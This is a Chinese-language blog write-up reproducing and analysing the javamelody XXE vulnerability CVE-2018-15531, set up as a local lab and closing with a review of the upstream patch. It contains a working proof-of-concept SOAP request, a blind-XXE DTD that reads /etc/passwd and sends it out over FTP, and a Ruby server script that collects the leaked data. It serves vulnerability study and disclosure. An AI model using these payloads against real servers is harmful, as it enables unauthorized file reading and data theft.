Fork me on GitHub

javamelody XXE(CVE-2018-15531) 复现分析

javamelody XXE(CVE-2018-15531) 复现分析

javaMelody是Spring Boot框架可用的一个监视服务器运行信息的插件,这个插件去年爆出了一个XXE的漏洞。这篇文章便分析一下这个漏洞。

漏洞复现

环境搭建

这里我使用了Idea来搭建spring boot的环境,创建好spring boot项目后在pom.xmldependencies中加入

1
2
3
4
5
<dependency>
<groupId>net.bull.javamelody</groupId>
<artifactId>javamelody-spring-boot-starter</artifactId>
<version>1.73.1</version>
</dependency>

之后启动程序,访问127.0.0.1:8080/monitoring便可以验证是否加载成功插件。

漏洞复现

漏洞复现使用的poc为:

1
2
3
4
5
6
7
8
9
10
11
12
POST / HTTP/1.1
Host: localhost:8080
Content-type: text/xml
SOAPAction: aaaaa
Content-Length: 154

<?xml version="1.0" encoding="UTF-8" standalone="no" ?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://127.0.0.1:5678/ev.dtd">
%remote;
]>
</root>

在本地起一个监听5678端口的http服务,这里我用的是php

76CFCEA4-4D3C-45E3-A98A-E1930AC33A0D

可以看到发包后可以收到http请求,因此存在XXE漏洞。

为了完成盲打读取文件的功能,ev.dtd的内容如下:

1
2
3
4
<!ENTITY % payload SYSTEM	"file:///etc/passwd">
<!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'ftp://127.0.0.1:2121/%payload;'>">
%int;
%trick;

使用如下的ruby脚本可以创建一个用于获取ftp请求的ftp服务器:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
require 'socket'

ftp_server = TCPServer.new 2121
http_server = TCPServer.new 8088

log = File.open( "xxe-ftp.log", "a")

payload = '<!ENTITY % asd SYSTEM "file:///etc/passwd">'

Thread.start do
loop do
Thread.start(http_server.accept) do |http_client|
puts "HTTP. New client connected"
loop {
req = http_client.gets()
break if req.nil?
if req.start_with? "GET"
http_client.puts("HTTP/1.1 200 OK\r\nContent-length: #{payload.length}\r\n\r\n#{payload}")
end
puts req
}
puts "HTTP. Connection closed"
end
end

end

Thread.start do
loop do
Thread.start(ftp_server.accept) do |ftp_client|
puts "FTP. New client connected"
ftp_client.puts("220 xxe-ftp-server")
loop {
req = ftp_client.gets()
break if req.nil?
puts "< "+req
log.write "get req: #{req.inspect}\n"

if req.include? "LIST"
ftp_client.puts("drwxrwxrwx 1 owner group 1 Feb 21 04:37 test")
ftp_client.puts("150 Opening BINARY mode data connection for /bin/ls")
ftp_client.puts("226 Transfer complete.")
elsif req.include? "USER"
ftp_client.puts("331 password please - version check")
elsif req.include? "PORT"
puts "! PORT received"
puts "> 200 PORT command ok"
ftp_client.puts("200 PORT command ok")
else
puts "> 230 more data please!"
ftp_client.puts("230 more data please!")
end
}
puts "FTP. Connection closed"
end
end
end

loop do
sleep(10000)
end

运行脚本,Burp重新发包即可获取本地文件。

原理分析

根据大佬们的分析流程,直接查看之后的版本的patch可以定位导致漏洞出现的地方:

https://github.com/javamelody/javamelody/commit/ef111822562d0b9365bd3e671a75b65bd0613353

image-20190318100820061

可以看到官方的修复中直接禁用了XML中引用外部实体。我们跟进目标代码附近

8D9C800F-F636-422B-8D4C-80F1619A9FAF

可以看到这段代码是一个典型的XXE的漏洞代码。全局查找使用了parseSoapMethodName的地方

1D975EC2-AC3B-4978-B76D-AA2786281677

跟进initialize方法

image-20190318101340130

可以看到漏洞利用方法构造的要素:

  • POST方法
  • Content-type:为application/soap+xml或者Content-type为text/xml且存在SOAPAction请求头

参考文档

https://mp.weixin.qq.com/s?__biz=MzA4ODc0MTIwMw==&mid=2652531539&idx=1&sn=82d1f41acc32a0a21dff60b2dfb71421&source=41#wechat_redirect